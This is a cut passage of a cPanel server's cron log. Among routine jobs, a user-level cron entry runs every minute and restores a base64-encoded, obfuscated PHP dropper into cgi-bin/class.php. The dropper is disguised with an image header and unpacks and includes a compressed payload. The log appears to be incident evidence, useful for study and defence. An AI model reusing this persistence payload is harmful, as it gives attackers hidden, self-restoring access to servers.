9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:13:01 server CROND[24352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:13:01 server CROND[24353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:13:01 server CROND[24354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:14:01 server CROND[24932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:14:01 server CROND[24933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:14:01 server CROND[24940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:15:01 server CROND[25370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:15:01 server CROND[25371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:15:01 server CROND[25376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:15:01 server CROND[25388]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 03:15:01 server CROND[25387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:15:01 server CROND[25389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:15:01 server CROND[25390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:15:01 server CROND[25392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:16:01 server CROND[26618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:16:01 server CROND[26619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:16:01 server CROND[26620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:17:01 server CROND[26980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:17:01 server CROND[26981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:17:01 server CROND[26982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:18:01 server CROND[27354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:18:01 server CROND[27355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:18:01 server CROND[27356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:19:01 server CROND[27731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:19:01 server CROND[27733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:19:01 server CROND[27734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:20:01 server CROND[28118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:20:01 server CROND[28120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:20:01 server CROND[28123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:20:01 server CROND[28124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:20:01 server CROND[28129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:20:01 server CROND[28131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:20:01 server CROND[28126]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:20:01 server CROND[28130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:20:01 server CROND[28127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:21:01 server CROND[29021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:21:01 server CROND[29022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:21:01 server CROND[29020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:22:01 server CROND[29435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:22:01 server CROND[29436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:22:01 server CROND[29437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:23:01 server CROND[29810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:23:01 server CROND[29811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:23:01 server CROND[29812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:24:01 server CROND[30195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:24:01 server CROND[30196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:24:01 server CROND[30197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:24:01 server anacron[13476]: Job `cron.daily' started
Sep  1 03:24:01 server run-parts(/etc/cron.daily)[30209]: starting imunify-antivirus.cron
Sep  1 03:25:01 server CROND[30600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:25:01 server CROND[30602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
